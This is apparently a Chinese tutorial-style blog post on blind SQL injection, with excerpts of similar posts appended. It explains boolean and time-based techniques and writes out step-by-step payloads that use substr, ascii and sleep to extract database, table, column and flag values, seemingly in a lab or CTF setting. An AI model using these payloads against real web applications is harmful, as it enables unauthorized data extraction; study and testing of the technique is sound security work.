sql注入 盲注

2021-09-28 15:54:35 字數 1864 閱讀 7011

一,盲注介紹

所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。

盲注分為布林盲注和時間盲注

布林盲注:boolean 根據注入資訊返回true or fales 沒有任何報錯資訊

時間盲注:介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時間差來判斷注入的語句是否正確。

二,盲注需要掌握的函式

length()返回字串長度

substr()擷取字串

substr(str,num,ptr)

ascii()返回字串的ascii碼

sleep(n)將程式掛起n秒

if(exp1,exp2,exp3)判斷語句,如果第乙個語句正確執行第二個,如果錯誤執行第三個語句

三,布林盲注測試流程

1,猜解當前資料庫名稱長度

id=

1'and

(length(

select

database()

))>

8--+

2,利用ascii碼猜解當前資料庫名稱

and

(ascii(substr(

database()

,1,1

)))=

115--+

返回正常,說明資料庫名第一位是s

and

(ascii(substr(

database()

,2,1

)))=

101--+

返回正常,說明資料庫名第二位是e

3,猜表名

and

(ascii(substr(

select table_name from information_schema.

tables

where schema_name =

database()

limit0,

1),1

,1))

)=101--+

返回正常說明資料庫表名第一位是e

4,猜欄位名

and

(ascii(substr(

select column_name from information_schema.

columns

where table_name = email limit0,

1),1

,1))

)=102--+

返回正常,說明email表中的列名第一位是f

5,猜內容

and ascii(substr(

select flag from email limit0,

1),1

,1))

)=122--+

返回正常,說明flag欄位內容第一位是z

四,時間盲注測試流程

1,首先判斷資料庫名長度

id=

1'and

(length(

select

database()

))>

8--+

2,利用if語句進行條件判定

and

if(ascii(substr(

database()

,1,1

))>

120,

1,sleep(10)

--+

如果語句未延遲執行那麼第乙個語句成立,那我們可以依次往後判斷

時間盲注就是不停的利用語句檢視執行的時間來判斷前面語句是否成立

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...

SQL注入 盲注

注入攻擊的本質,是把使用者輸入的資料當做 執行.1.是使用者能夠控制輸入 2.是原本程式要執行的 拼接了使用者輸入的資料.盲注布林盲注 order by 沒有顯示注入點 對錯只顯示有無資料 延時盲注 頁面無論怎麼搞都不變 盲注需要掌握的幾個函式 length 返回字串的長度 substr str,p...